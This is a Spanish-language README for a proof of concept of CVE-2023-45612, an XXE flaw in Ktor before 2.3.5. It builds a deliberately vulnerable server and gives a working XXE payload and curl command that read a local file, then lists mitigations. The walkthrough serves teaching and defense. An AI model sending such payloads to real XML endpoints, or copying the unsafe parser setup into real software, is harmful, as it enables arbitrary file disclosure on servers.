
Este repositorio proporciona una Prueba de Concepto para CVE-2023-45612, que demuestra una vulnerabilidad de inyección de Entidad Externa XML (XXE) en versiones de JetBrains Ktor anteriores a la 2.3.5.
Este repositorio contiene un servidor Ktor vulnerable para demostrar la vulnerabilidad de inyección de entidad externa XML (XXE) identificada en CVE-2023-45612.
La vulnerabilidad existe en versiones de Ktor anteriores a 2.3.5 cuando el plugin ContentNegotiation se usa con el serializador xml() por defecto. El analizador XML predeterminado no estaba configurado para impedir la resolución de entidades externas, lo que permite a los atacantes leer archivos arbitrarios del servidor.
Las siguientes secciones son los pasos para que puedas recrear el exploit por tu cuenta.
Versiones que usé para esta PoC:
Crea un proyecto Ktor en IntelliJ IDEA con el motor Netty, Gradle Kotlin y la versión 2.3.4 de Ktor (o una versión anterior).
Dentro de build.gradle.kts necesitarás añadir el siguiente plugin:
kotlin("plugin.serialization") version "2.2.20"
y estas dependencias;
implementation("io.ktor:ktor-server-content-negotiation")
implementation("io.ktor:ktor-serialization-kotlinx-xml")
Application.kt debe contener la función principal para iniciar el servidor y la función module() para configurarlo. Por defecto, la función xml() inicializa un analizador XML que permite el procesamiento de entidades externas.
fun Application.module() {
install(ContentNegotiation) {
xml()
}
configureRouting()
}
Routing.kt debe definir el endpoint que recibirá y analizará el XML malicioso.
@Serializable
data class Message(
@XmlElement
val message: String
)
fun Application.configureRouting() {
routing {
post("/message") {
try {
val receivedMessage = call.receive<Message>()
call.respondText("Message received: ${receivedMessage.message}")
} catch (e: Exception) {
call.respond(HttpStatusCode.BadRequest, "Error: ${e.message}")
}
}
}
}
Compila la aplicación e inicia el servidor.
./gradlew build
./gradlew run
Para probar el endpoint, crea un archivo XML llamado hello_message.xml.
<Message>
<message>Hello, world!</message>
</Message>
Puedes ejecutarlo con el siguiente curl (en Windows):
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@hello_message.xml'
Y deberías obtener el siguiente mensaje si se ejecuta correctamente:
Message received: Hello, world!
Crea un secret_file.txt con algo de texto. La información que contiene es lo que queremos obtener con nuestro exploit.
Crea un archivo llamado exploit_message.xml. Su contenido debe definir una entidad externa &xxe; como el contenido del archivo secret_file.txt y luego usar esa entidad dentro de las etiquetas <message>.
<!DOCTYPE Message [
<!ENTITY xxe SYSTEM "secret_file.txt">
]>
<Message>
<message>&xxe;</message>
</Message>
Ejecuta el siguiente comando curl (en Windows) contra el servidor en ejecución:
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@exploit_message.xml'
El servidor leerá el archivo secret_file.txt y devolverá su contenido en la respuesta HTTP:
Message received: XXE was a success.
La solución más efectiva es actualizar Ktor a la versión 2.3.5 o posterior. Estas versiones utilizan un analizador XML predeterminado configurado de forma segura que deshabilita el procesamiento de definiciones de tipo de documento y las entidades externas por defecto, lo que evita directamente este ataque XXE. Alternativamente, también podrías configurar manualmente el analizador XML.
Como capa adicional de defensa, lee el cuerpo de la solicitud sin procesar como texto plano y recházalo si contiene palabras clave sospechosas como <!DOCTYPE o <!ENTITY antes de que llegue al analizador.
Esta vulnerabilidad es específica del análisis de XML. Si los requisitos de tu aplicación son flexibles, el cambio más seguro es evitar XML por completo y usar un formato que no tenga esta clase de vulnerabilidad, como JSON.
Busca activamente fallos de seguridad revisando tus librerías para detectar vulnerabilidades conocidas y prueba tu aplicación contra exploits comunes.